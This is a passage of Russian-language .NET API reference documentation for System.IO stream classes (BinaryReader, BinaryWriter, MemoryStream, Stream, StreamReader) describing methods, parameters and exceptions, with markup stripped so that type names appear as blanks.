null. + Значение параметра или является отрицательным. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает указанное количество символов из потока, начиная с заданной точки в массиве символов. + Общее количество символов, считанных в буфер.Количество символов может быть меньше указанного числа, если в потоке осталось меньше символов, чем следует прочитать. Количество символов также может равняться нулю, если достигнут конец потока. + Буфер, в который должны считываться данные. + Стартовая точка в буфере, начиная с которой считываемые данные записываются в буфер. + Число символов для чтения. + Длина буфера за вычетом значения параметра меньше значения параметра . -или-Число декодированных знаков для чтения больше, чем .Это может произойти, если декодер Юникода возвращает резервные символы или суррогатную пару. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает 32-разрядное целое число в сжатом формате. + 32-разрядное целое число в сжатом формате. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + Поток поврежден. + + + Считывает значение Boolean из текущего потока и перемещает текущую позицию в потоке на один байт вперед. + Значение true, если байт не равен нулю; в противном случае — значение false. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает из текущего потока следующий байт и перемещает текущую позицию в потоке на один байт вперед. + Следующий байт, считанный из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает указанное количество байтов из текущего потока в массив байтов и перемещает текущую позицию на это количество байтов. + Массив байтов, в котором содержатся данные, считанные из базового потока.Если при чтении был достигнут конец потока, это число может быть меньше, чем количество запрошенных байтов. + Количество байтов, чтение которых необходимо выполнить.Это значение должно быть равно 0 или быть больше 0, иначе возникнет исключение. + Число декодированных знаков для чтения больше, чем .Это может произойти, если декодер Юникода возвращает резервные символы или суррогатную пару. + Ошибка ввода-вывода. + Поток закрыт. + Значение отрицательно. + 2 + + + Считывает следующий знак из текущего потока и изменяет текущую позицию в потоке в соответствии с используемым значением Encoding и конкретным знаком в потоке, чтение которого выполняется в настоящий момент. + Символ, считанный из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + Выполнено чтение символа-заместителя. + 2 + + + Считывает указанное количество символов из текущего потока, возвращает данные в массив символов и перемещает текущую позицию в соответствии с используемой Encoding и определенным символом, считываемым из потока. + Массив символов, в котором содержатся данные, считанные из базового потока.Если при чтении был достигнут конец потока, это число может быть меньше, чем количество запрошенных символов. + Количество символов, которое необходимо считать. + Число декодированных знаков для чтения больше, чем .Это может произойти, если декодер Юникода возвращает резервные символы или суррогатную пару. + Поток закрыт. + Ошибка ввода-вывода. + Значение отрицательно. + 2 + + + Считывает десятичное значение из текущего потока и перемещает текущую позицию в потоке на шестнадцать байтов вперед. + Десятичное значение, считанное из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает число с плавающей запятой длиной 8 байт из текущего потока и перемещает текущую позицию в потоке на восемь байт вперед. + Число с плавающей запятой длиной 8 байт, считанное из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает целое число со знаком длиной 2 байта из текущего потока и перемещает текущую позицию в потоке на два байта вперед. + Целое число со знаком длиной 2 байта, считанное из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает целое число со знаком длиной 4 байта из текущего потока и перемещает текущую позицию в потоке на четыре байта вперед. + Целое число со знаком длиной 2 байта, считанное из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает целое число со знаком длиной 8 байта из текущего потока и перемещает текущую позицию в потоке на восемь байт вперед. + Целое число со знаком длиной 8 байт, считанное из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает из текущего потока байт со знаком и перемещает текущую позицию в потоке на один байт вперед. + Байт со знаком, считанный из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает число с плавающей запятой длиной 4 байта из текущего потока и перемещает текущую позицию в потоке на четыре байта вперед. + Число с плавающей запятой длиной 4 байта, считанное из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает строку из текущего потока.Строка предваряется значением длины строки, которое закодировано как целое число блоками по семь битов. + Считываемая строка. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает целое число без знака длиной 2 байта в формате с прямым порядком байтов из текущего потока и перемещает текущую позицию в потоке на два байта вперед. + Целое число без знака длиной 2 байта, считанное из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает целое число без знака длиной 4 байта из текущего потока и перемещает текущую позицию в потоке на четыре байта вперед. + Целое число без знака длиной 4 байта, считанное из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает целое число без знака длиной 8 байт из текущего потока и перемещает текущую позицию в потоке на восемь байтов вперед. + Целое число без знака длиной 8 байт, считанное из текущего потока. + Достигнут конец потока. + Ошибка ввода-вывода. + Поток закрыт. + 2 + + + Записывает простые типы данных в поток как двоичные значения и поддерживает запись строк в определенной кодировке. + 2 + + + Выполняет инициализацию нового экземпляра класса , который осуществляет запись в поток. + + + Инициализирует новый экземпляр класса на основании указанного потока с использованием кодировки UTF-8. + Выходной поток. + Поток не поддерживает запись или был закрыт до начала операции. + Параметр имеет значение null. + + + Инициализирует новый экземпляр класса на основании указанного потока и кодировки символов. + Выходной поток. + Кодировка символов, которую нужно использовать. + Поток не поддерживает запись или был закрыт до начала операции. + Значение параметра или — null. + + + Инициализирует новый экземпляр класса на основании указанного потока и кодировки символов, а также при необходимости оставляет поток открытым. + Выходной поток. + Кодировка символов, которую нужно использовать. + Значение true, чтобы оставить поток открытым после удаления объекта ; в противном случае — значение false. + Поток не поддерживает запись или был закрыт до начала операции. + Значение параметра или — null. + + + Получает базовый поток . + Базовый поток, связанный с объектом BinaryWriter. + 1 + + + Освобождает все ресурсы, используемые текущим экземпляром класса . + + + Освобождает неуправляемые (а при необходимости и управляемые) ресурсы, используемые объектом . + Значение true позволяет освободить управляемые и неуправляемые ресурсы; значение false позволяет освободить только неуправляемые ресурсы. + + + Очищает все буферы текущего модуля записи и вызывает немедленную запись всех буферизованных данных на базовое устройство. + 1 + + + Задает без резервного хранилища. + 1 + + + Содержит базовый поток. + + + Задает позицию в текущем потоке. + Позиция в текущем потоке. + Смещение в байтах относительно . + Поле указывает точку отсчета, относительно которой указывается новая позиция. + Указатель позиции в файле перемещен в недопустимую позицию. + Значение является недопустимым. + 1 + + + Выполняет запись значения типа Boolean длиной один байт в текущий поток, при этом 0 соответствует значению false, а 1 — значению true. + Записываемое в поток значение типа Boolean (0 или 1). + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Выполняет запись байта без знака в текущий поток и перемещает позицию в потоке на один байт вперед. + Записываемый в поток байт без знака. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Выполняет запись массива байтов в базовый поток. + Массив байтов, содержащий записываемые в поток данные. + Ошибка ввода-вывода. + Поток закрыт. + Параметр имеет значение null. + 1 + + + Выполняет запись части массива байтов в текущий поток. + Массив байтов, содержащий записываемые в поток данные. + Стартовая точка в буфере , с которой начинается запись. + Количество записываемых байтов. + Длина буфера за вычетом значения параметра меньше значения параметра . + Параметр имеет значение null. + Значение параметра или является отрицательным. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Выполняет запись символа Юникод в текущий поток и перемещает текущую позицию в потоке вперед в соответствии с используемой Encoding и количеством записанных в поток символов. + Незаменяющий символ Юникода, который необходимо записать. + Ошибка ввода-вывода. + Поток закрыт. + + представляет собой единичный символ-заместитель. + 1 + + + Выполняет запись массива символов в текущий поток и перемещает текущую позицию в потоке в соответствии с используемой Encoding и количеством записанных в поток символов. + Массив символов, содержащий записываемые в поток данные. + Параметр имеет значение null. + Поток закрыт. + Ошибка ввода-вывода. + 1 + + + Выполняет запись части массива символов в текущий поток и изменяет текущую позицию в потоке в соответствии с используемой Encoding и, возможно, количеством символов, записанных в поток. + Массив символов, содержащий записываемые в поток данные. + Стартовая точка в буфере , с которой начинается запись. + Количество символов для записи. + Длина буфера за вычетом значения параметра меньше значения параметра . + Параметр имеет значение null. + Значение параметра или является отрицательным. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает десятичное число в текущий поток и перемещает позицию в потоке на шестнадцать байтов. + Десятичное значение, которое необходимо записать. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает число с плавающей запятой длиной 8 байт в текущий поток и перемещает позицию в потоке вперед на восемь байт. + Число с плавающей запятой длиной 8 байт, которое необходимо записать в поток. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает целое число со знаком длиной 2 байта в текущий поток и перемещает позицию в потоке вперед на два байта. + Целое число со знаком размером 2 байта, которое необходимо записать в поток. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает целое число со знаком длиной 4 байта в текущий поток и перемещает позицию в потоке вперед на четыре байта. + Целое число со знаком размером 4 байта, которое необходимо записать в поток. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает целое число со знаком длиной 8 байт в текущий поток и перемещает позицию в потоке вперед на восемь байт. + Целое число со знаком размером 8 байт, которое необходимо записать в поток. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает байт со знаком в текущий поток и перемещает позицию в потоке вперед на один байт. + Байт со знаком, который необходимо записать в поток. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает число с плавающей запятой длиной 4 байта в текущий поток и перемещает позицию в потоке вперед на четыре байта. + Число с плавающей запятой длиной 4 байта, которое необходимо записать в поток. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает в текущий поток строку, предваряемую ее длиной, используя текущую кодировку , и перемещает позицию в потоке вперед в соответствии с используемой кодировкой и количеством записанных в поток символов. + Записываемое значение. + Ошибка ввода-вывода. + Параметр имеет значение null. + Поток закрыт. + 1 + + + Записывает целое число без знака длиной 2 байта в текущий поток и перемещает позицию в потоке вперед на два байта. + Целое число без знака размером 2 байта, которое необходимо записать в поток. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает целое число без знака длиной 4 байта в текущий поток и перемещает позицию в потоке вперед на четыре байта. + Целое число без знака размером 4 байта, которое необходимо записать в поток. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает целое число без знака длиной 8 байт в текущий поток и перемещает позицию в потоке вперед на восемь байт. + Целое число без знака размером 8 байт, которое необходимо записать в поток. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает 32-разрядное целое число в сжатом формате. + 32-разрядное целое число, которое необходимо записать. + Достигнут конец потока. + Поток закрыт. + Поток закрыт. + + + Исключение, которое создается при попытке выполнить чтение за пределами потока. + 2 + + + Выполняет инициализацию нового экземпляра класса со строкой сообщения, которая соответствует строке системного сообщения, и значением HRESULT равным COR_E_ENDOFSTREAM. + + + Выполняет инициализацию нового экземпляра класса со строкой сообщения, которая соответствует строке , и значением HRESULT равным COR_E_ENDOFSTREAM. + Строка, описывающая ошибку.Содержимое параметра должно быть понятным пользователю.Вызывающий оператор этого конструктора необходим, чтобы убедиться, локализована ли данная строка для текущего языка и региональных параметров системы. + + + Выполняет инициализацию нового экземпляра класса с указанным сообщением об ошибке и ссылкой на внутреннее исключение, которое стало причиной данного исключения. + Строка, описывающая ошибку.Содержимое параметра должно быть понятным пользователю.Вызывающий оператор этого конструктора необходим, чтобы убедиться, локализована ли данная строка для текущего языка и региональных параметров системы. + Исключение, которое вызвало текущее исключение.Если значение параметра не равно null, текущее исключение сгенерировано в блоке catch, обрабатывающем внутреннее исключение. + + + Исключение возникает, когда поток данных имеет недопустимый формат. + + + Инициализирует новый экземпляр класса . + + + Инициализирует новый экземпляр класса с указанным сообщением об ошибке. + Сообщение об ошибке с объяснением причин исключения. + + + Инициализирует новый экземпляр класса со ссылкой на внутреннее исключение, которое является причиной данного исключения. + Сообщение об ошибке с объяснением причин исключения. + Исключение, которое вызвало текущее исключение.Если значение параметра не равно null, текущее исключение сгенерировано в блоке catch, обрабатывающем внутреннее исключение. + + + Создает поток, резервным хранилищем которого является память.Чтобы просмотреть исходный код .NET Framework для этого типа, см. Reference Source. + 2 + + + Инициализирует новый экземпляр класса расширяемой емкостью, инициализированной нулевым значением. + + + Инициализирует новый неизменяемый экземпляр класса на основе указанного массива байтов. + Массив байтов без знака, из которого создается текущий поток. + Свойство имеет значение null. + + + Инициализирует новый неизменяемый экземпляр класса на основе указанного массива байтов с помощью указанного значения свойства . + Массив байтов без знака, из которого создается данный поток. + Параметр свойства , который определяет возможность поддержки потоком записи. + Свойство имеет значение null. + + + Инициализирует новый неизменяемый экземпляр класса на основе указанной области (индекса) массива байтов. + Массив байтов без знака, из которого создается данный поток. + Индекс в , с которого начинается поток. + Длина потока в байтах. + Свойство имеет значение null. + Значение параметра или меньше нуля. + Длина буфера за вычетом значения параметра меньше значения параметра . + + + Инициализирует новый неизменяемый экземпляр класса на основе указанной области массива байтов с помощью указанного значения свойства . + Массив байтов без знака, из которого создается данный поток. + Индекс в , с которого начинается поток. + Длина потока в байтах. + Параметр свойства , который определяет возможность поддержки потоком записи. + Свойство имеет значение null. + Параметр или имеет отрицательное значение. + Длина буфера за вычетом значения параметра меньше значения параметра . + + + Инициализирует новый экземпляр класса на основе указанной области массива байтов с помощью указанного значения свойства и возможности вызова с указанным значением. + Массив байтов без знака, из которого создается данный поток. + Индекс в , с которого начинается поток. + Длина потока в байтах. + Параметр свойства , который определяет возможность поддержки потоком записи. + Значение true, чтобы разрешить метод , возвращающий массив байтов без знака, из которого создан поток; в противном случае — значение false. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Длина буфера за вычетом значения параметра меньше значения параметра . + + + Инициализирует новый экземпляр класса расширяемой емкостью, инициализированной с указанным значением. + Исходный размер внутреннего массива в байтах. + Значение отрицательно. + + + Возвращает значение, определяющее в текущем потоке наличие поддержки операций чтения. + Значение true, если поток открыт. + 2 + + + Возвращает значение, определяющее в текущем потоке наличие поддержки операций поиска. + Значение true, если поток открыт. + 2 + + + Возвращает значение, определяющее в текущем потоке наличие поддержки операций записи. + Значение true, если поток поддерживает запись; в противном случае — значение false. + 2 + + + Возвращает или задает число байтов, выделенных для этого потока. + Длина применимой к использованию части буфера для потока. + Заданная емкость отрицательная или меньше текущей длины потока. + Текущий поток закрыт. + set вызывается для потока, емкость которого нельзя изменить. + 2 + + + Асинхронно считывает все байты из текущего потока и записывает их в другой поток, используя указанный размер буфера и токен отмены. + Задача, представляющая асинхронную операцию копирования. + Поток, в который будет скопировано содержимое текущего потока. + Размер (в байтах) буфера.Это значение должно быть больше нуля. + Токен для отслеживания запросов отмены. + Свойство имеет значение null. + Параметр имеет отрицательное значение или равен нулю. + Текущий поток или поток назначения удаляется. + Текущий поток не поддерживает чтение или поток назначения не поддерживает запись. + + + Освобождает неуправляемые ресурсы, используемые классом (при необходимости освобождает и управляемые ресурсы). + Значение true позволяет освободить как управляемые, так и неуправляемые ресурсы; значение false освобождает только неуправляемые ресурсы. + + + Переопределяет метод так, что никакие действия не выполняются. + 2 + + + Асинхронно очищает все буферы для этого потока и отслеживает запросы отмены. + Задача, представляющая асинхронную операцию очистки. + Токен для отслеживания запросов отмены. + Поток был ликвидирован. + + + Возвращает длину потока в байтах. + Длина потока в байтах. + Поток закрыт. + 2 + + + Возвращает или задает текущее положение в потоке. + Текущее положение в потоке. + В качестве положения задано отрицательное значение или значение, большее . + Поток закрыт. + 2 + + + Считывает блок байтов из текущего потока и записывает данные в буфер. + Общее число байтов, записанных в буфер.Оно может быть меньше запрошенного числа байтов, если это количество в текущий момент не доступно, или же равно нулю, если конец потока достигнут до того, как байты были считаны. + При возвращении данного метода этот параметр содержит указанный массив байтов со значениями от до ( + - 1), замененными символами, считанными из текущего потока. + Отсчитываемое от нуля смещение байтов в буфере , с которого начинается сохранение данных из текущего потока. + Максимальное число байтов, предназначенных для чтения. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Длина буфера за вычетом меньше, чем . + Текущий экземпляр потока закрыт. + 2 + + + Асинхронно считывает последовательность байтов из текущего потока, перемещает позицию в потоке на число считанных байтов и отслеживает запросы отмены. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит общее число байтов, считанных в буфер.Значение результата может быть меньше запрошенного числа байтов, если число доступных в данный момент байтов меньше запрошенного числа, или результат может быть равен 0 (нулю), если был достигнут конец потока. + Буфер, в который записываются данные. + Смещение байтов в , с которого начинается запись данных из потока. + Максимальное число байтов, предназначенных для чтения. + Токен для отслеживания запросов отмены.Значение по умолчанию — . + Свойство имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Поток не поддерживает чтение. + Поток был ликвидирован. + Поток в настоящее время используется предыдущей операцией чтения. + + + Считывает байт из текущего потока. + Байт приводится к типу или -1, если достигнут конец потока. + Текущий экземпляр потока закрыт. + 2 + + + Задает указанное значение для положения в текущем потоке. + Новое положение в потоке, вычисляемое путем объединения смещения и исходной точки ссылки. + Новое положение в потоке.Оно определяется относительно параметра и может быть положительным или отрицательным. + Значение типа , которое действует как точка ссылки поиска. + Попытка поиска выполняется до начала потока. + Значение больше значения . + + недопустим. -или-Значение вызвало арифметическое переполнение. + Текущий экземпляр потока закрыт. + 2 + + + Задает указанное значение для длины текущего потока. + Значение задаваемой длины. + Размер текущего потока изменить нельзя, и значение параметра больше текущей емкости.-или- Текущий поток не поддерживает запись. + Значение параметра отрицательное или больше максимальной длины , где максимальная длина равна ( - источник). Источник — это индекс в основном буфере, с которого начинается поток. + 2 + + + Записывает содержимое потока в массив байтов независимо от свойства . + Новый массив байтов. + 2 + + + Возвращает массив байтов без знака, из которого был создан данный поток.Возвращаемое значение указывает, успешно ли выполнено преобразование. + Значение true, если преобразование прошло успешно; в противном случае — значение false. + Сегмент массива байтов, из которого был создан данный поток. + + + Записывает в текущий поток блок байтов, используя данные, считанные из буфера. + Буфер, из которого записываются данные. + Отсчитываемое от нуля смещение байтов в буфере , с которого начинается копирование байтов в текущий поток. + Максимальное число байтов для записи. + Свойство имеет значение null. + Поток не поддерживает запись.Дополнительные сведения см. в разделе .-или- Текущее положение ближе к концу потока, чем число байтов , и емкость изменить невозможно. + Длина буфера за вычетом меньше, чем . + Параметр или имеет отрицательное значение. + Ошибка ввода-вывода. + Текущий экземпляр потока закрыт. + 2 + + + Асинхронно записывает последовательность байтов в текущий поток, перемещает текущую позицию внутри потока на число записанных байтов и отслеживает запросы отмены. + Задача, представляющая асинхронную операцию записи. + Буфер, из которого записываются данные. + Смещение байтов (начиная с нуля) в объекте , с которого начинается копирование байтов в поток. + Максимальное число байтов для записи. + Токен для отслеживания запросов отмены.Значение по умолчанию — . + Свойство имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Поток не поддерживает запись. + Поток был ликвидирован. + Поток в настоящее время используется предыдущей операцией записи. + + + Записывает байт в текущее положение текущего потока. + Записываемый байт. + Поток не поддерживает запись.Дополнительные сведения см. в разделе .-или- Текущее положение находится в конце потока и емкость изменить невозможно. + Текущий поток закрыт. + 2 + + + Записывает все содержимое данного потока памяти в другой поток. + Поток, в который требуется осуществить запись данного потока памяти. + Свойство имеет значение null. + Текущий или конечный поток закрыт. + 2 + + + Задает позицию в потоке, используемую для поиска. + 2 + + + Задает начало потока. + + + Задает текущее положение в потоке. + + + Задает конец потока. + + + Предоставляет универсальное представление последовательности байтов.Этот класс является абстрактным.Чтобы просмотреть исходный код .NET Framework для этого типа, см. Reference Source. + 2 + + + Инициализирует новый экземпляр класса . + + + При переопределении в производном классе возвращает значение, показывающее, поддерживает ли текущий поток возможность чтения. + Значение true, если поток поддерживает чтение; в противном случае — значение false. + 1 + + + При переопределении в производном классе возвращает значение, которое показывает, поддерживается ли в текущем потоке возможность поиска. + Значение true, если поток поддерживает поиск; в противном случае — значение false. + 1 + + + Возвращает значение, которое показывает, может ли для данного потока истечь время ожидания. + Значение, которое показывает, может ли для данного потока истечь время ожидания. + 2 + + + При переопределении в производном классе возвращает значение, которое показывает, поддерживает ли текущий поток возможность записи. + Значение true, если поток поддерживает запись; в противном случае — значение false. + 1 + + + Считывает байты из текущего потока и записывает их в другой поток. + Поток, в который будет скопировано содержимое текущего потока. + Свойство имеет значение null. + Текущий поток не поддерживает чтение.-или-Параметр не поддерживает запись. + Текущий поток или параметр был закрыт до вызова метода . + Произошла ошибка ввода-вывода. + + + Считывает байты из текущего потока и записывает их в другой поток, используя указанный размер буфера. + Поток, в который будет скопировано содержимое текущего потока. + Размер буфера.Это значение должно быть больше нуля.Размер по умолчанию — 81920. + Свойство имеет значение null. + Параметр имеет отрицательное значение или равен нулю. + Текущий поток не поддерживает чтение.-или-Параметр не поддерживает запись. + Текущий поток или параметр был закрыт до вызова метода . + Произошла ошибка ввода-вывода. + + + Асинхронно считывает байты из текущего потока и записывает их в другой поток. + Задача, представляющая асинхронную операцию копирования. + Поток, в который будет скопировано содержимое текущего потока. + Свойство имеет значение null. + Текущий поток или поток назначения удаляется. + Текущий поток не поддерживает чтение или поток назначения не поддерживает запись. + + + Асинхронно считывает байты из текущего потока и записывает их в другой поток, используя указанный размер буфера. + Задача, представляющая асинхронную операцию копирования. + Поток, в который будет скопировано содержимое текущего потока. + Размер (в байтах) буфера.Это значение должно быть больше нуля.Размер по умолчанию — 81920. + Свойство имеет значение null. + Параметр имеет отрицательное значение или равен нулю. + Текущий поток или поток назначения удаляется. + Текущий поток не поддерживает чтение или поток назначения не поддерживает запись. + + + Асинхронно считывает байты из текущего потока и записывает их в другой поток, используя указанный размер буфера и токен отмены. + Задача, представляющая асинхронную операцию копирования. + Поток, в который будет скопировано содержимое текущего потока. + Размер (в байтах) буфера.Это значение должно быть больше нуля.Размер по умолчанию — 81920. + Токен для отслеживания запросов отмены.Значение по умолчанию — . + Свойство имеет значение null. + Параметр имеет отрицательное значение или равен нулю. + Текущий поток или поток назначения удаляется. + Текущий поток не поддерживает чтение или поток назначения не поддерживает запись. + + + Освобождает все ресурсы, занятые модулем . + + + Освобождает неуправляемые ресурсы, используемые объектом , а при необходимости освобождает также управляемые ресурсы. + Значение true позволяет освободить как управляемые, так и неуправляемые ресурсы; значение false освобождает только неуправляемые ресурсы. + + + При переопределении в производном классе очищает все буферы данного потока и вызывает запись данных буферов в базовое устройство. + Ошибка ввода-вывода. + 2 + + + Асинхронно очищает все буферы для этого потока и вызывает запись всех буферизованных данных в базовое устройство. + Задача, представляющая асинхронную операцию очистки. + Поток был ликвидирован. + + + Асинхронно очищает все буферы данного потока, вызывает запись буферизованных данных в базовое устройство и отслеживает запросы отмены. + Задача, представляющая асинхронную операцию очистки. + Токен для отслеживания запросов отмены.Значение по умолчанию — . + Поток был ликвидирован. + + + При переопределении в производном классе получает длину потока в байтах. + Длинное значение, представляющее длину потока в байтах. + Класс, созданный на основе класса Stream, не поддерживает возможность поиска. + Методы были вызваны после закрытия потока. + 1 + + + Объект Stream без резервного хранилища. + 1 + + + При переопределении в производном классе получает или задает позицию в текущем потоке. + Текущее положение в потоке. + Ошибка ввода-вывода. + Этот поток не поддерживает поиск. + Методы были вызваны после закрытия потока. + 1 + + + При переопределении в производном классе считывает последовательность байтов из текущего потока и перемещает позицию в потоке на число считанных байтов. + Общее количество байтов, считанных в буфер.Это число может быть меньше количества запрошенных байтов, если столько байтов в настоящее время недоступно, а также равняться нулю (0), если был достигнут конец потока. + Массив байтов.После завершения выполнения данного метода буфер содержит указанный массив байтов, в котором значения в интервале между и ( + - 1) заменены байтами, считанными из текущего источника. + Смещение байтов (начиная с нуля) в , с которого начинается сохранение данных, считанных из текущего потока. + Максимальное количество байтов, которое должно быть считано из текущего потока. + Сумма значений параметров и больше длины буфера. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Ошибка ввода-вывода. + Поток не поддерживает чтение. + Методы были вызваны после закрытия потока. + 1 + + + Асинхронно считывает последовательность байтов из текущего потока и перемещает позицию внутри потока на число считанных байтов. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит общее число байтов, считанных в буфер.Значение результата может быть меньше запрошенного числа байтов, если число доступных в данный момент байтов меньше запрошенного числа, или результат может быть равен 0 (нулю), если был достигнут конец потока. + Буфер, в который записываются данные. + Смещение байтов в , с которого начинается запись данных из потока. + Максимальное число байтов, предназначенных для чтения. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Поток не поддерживает чтение. + Поток был ликвидирован. + Поток в настоящее время используется предыдущей операцией чтения. + + + Асинхронно считывает последовательность байтов из текущего потока, перемещает позицию в потоке на число считанных байтов и отслеживает запросы отмены. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит общее число байтов, считанных в буфер.Значение результата может быть меньше запрошенного числа байтов, если число доступных в данный момент байтов меньше запрошенного числа, или результат может быть равен 0 (нулю), если был достигнут конец потока. + Буфер, в который записываются данные. + Смещение байтов в , с которого начинается запись данных из потока. + Максимальное число байтов, предназначенных для чтения. + Токен для отслеживания запросов отмены.Значение по умолчанию — . + Свойство имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Поток не поддерживает чтение. + Поток был ликвидирован. + Поток в настоящее время используется предыдущей операцией чтения. + + + Считывает байт из потока и перемещает позицию в потоке на один байт или возвращает -1, если достигнут конец потока. + Байт без знака, приведенный к Int32, или значение -1, если достигнут конец потока. + Поток не поддерживает чтение. + Методы были вызваны после закрытия потока. + 2 + + + Возвращает или задает значение в миллисекундах, определяющее период, в течение которого поток будет пытаться выполнить операцию чтения, прежде чем истечет время ожидания. + Значение в миллисекундах, определяющее период, в течение которого поток будет пытаться выполнить операцию чтения, прежде чем истечет время ожидания. + Метод всегда создает исключение . + 2 + + + При переопределении в производном классе задает позицию в текущем потоке. + Новая позиция в текущем потоке. + Смещение в байтах относительно параметра . + Значение типа , указывающее точку ссылки, которая используется для получения новой позиции. + Ошибка ввода-вывода. + Поток не поддерживает поиск, если поток создан на основе канала или вывода консоли. + Методы были вызваны после закрытия потока. + 1 + + + При переопределении в производном классе задает длину текущего потока. + Нужная длина текущего потока в байтах. + Ошибка ввода-вывода. + Поток не поддерживает ни поиск, ни запись, например, если поток создан на основе канала или вывода консоли. + Методы были вызваны после закрытия потока. + 2 + + + При переопределении в производном классе записывает последовательность байтов в текущий поток и перемещает текущую позицию в нем вперед на число записанных байтов. + Массив байтов.Этот метод копирует байты из в текущий поток. + Отсчитываемое от нуля смещение байтов в буфере , с которого начинается копирование байтов в текущий поток. + Количество байтов, которое необходимо записать в текущий поток. + Сумма  и  больше, чем длина буфера. + + — null. + + или  является отрицательным. + Произошла ошибка ввода-вывода, такие как не удается найти указанный файл. + Поток не поддерживает запись. + + был вызван после закрытия потока. + 1 + + + Асинхронно записывает последовательность байтов в текущий поток и перемещает текущую позицию внутри потока на число записанных байтов. + Задача, представляющая асинхронную операцию записи. + Буфер, из которого записываются данные. + Смещение байтов (начиная с нуля) в объекте , с которого начинается копирование байтов в поток. + Максимальное число байтов для записи. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Поток не поддерживает запись. + Поток был ликвидирован. + Поток в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает последовательность байтов в текущий поток, перемещает текущую позицию внутри потока на число записанных байтов и отслеживает запросы отмены. + Задача, представляющая асинхронную операцию записи. + Буфер, из которого записываются данные. + Смещение байтов (начиная с нуля) в объекте , с которого начинается копирование байтов в поток. + Максимальное число байтов для записи. + Токен для отслеживания запросов отмены.Значение по умолчанию — . + Свойство имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Поток не поддерживает запись. + Поток был ликвидирован. + Поток в настоящее время используется предыдущей операцией записи. + + + Записывает байт в текущее положение в потоке и перемещает позицию в потоке вперед на один байт. + Байт, записываемый в поток. + Ошибка ввода-вывода. + Поток не поддерживает запись или был закрыт до начала операции. + Методы были вызваны после закрытия потока. + 2 + + + Возвращает или задает значение в миллисекундах, определяющее период, в течение которого поток будет пытаться выполнить операцию записи, прежде чем истечет время ожидания. + Значение в миллисекундах, определяющее период, в течение которого поток будет пытаться выполнить операцию записи, прежде чем истечет время ожидания. + Метод всегда создает исключение . + 2 + + + Реализует объект , который считывает символы из потока байтов в определенной кодировке.Чтобы просмотреть исходный код .NET Framework для этого типа, см. Reference Source. + 1 + + + Инициализирует новый экземпляр класса для заданного потока. + Поток, который нужно считать. + + не поддерживает чтение. + Свойство имеет значение null. + + + Инициализирует новый экземпляр класса для указанного потока, используя заданный параметр обнаружения метки порядка следования байтов. + Поток, который нужно считать. + Указывает, следует ли выполнять поиск меток порядка байтов с начала файла. + + не поддерживает чтение. + Свойство имеет значение null. + + + Инициализирует новый экземпляр класса для заданного потока, используя указанную кодировку символов. + Поток, который нужно считать. + Кодировка символов, которую нужно использовать. + + не поддерживает чтение. + Параметр или имеет значение null. + + + Инициализирует новый экземпляр класса для заданного потока, используя указанную кодировку символов и параметр обнаружения метки порядка байтов. + Поток, который нужно считать. + Кодировка символов, которую нужно использовать. + Указывает, следует ли выполнять поиск меток порядка байтов с начала файла. + + не поддерживает чтение. + Параметр или имеет значение null. + + + Инициализирует новый экземпляр класса для заданного потока, используя указанную кодировку символов, параметр обнаружения метки порядка байтов и размер буфера. + Поток, который нужно считать. + Кодировка символов, которую нужно использовать. + Указывает, следует ли выполнять поиск меток порядка байтов с начала файла. + Минимальный размер буфера. + Поток не поддерживает чтение. + Параметр или имеет значение null. + Значение параметра меньше или равно нулю. + + + Инициализирует новый экземпляр класса для указанного потока на основе заданной кодировки символов, параметра обнаружения меток порядка байтов и размера буфера, 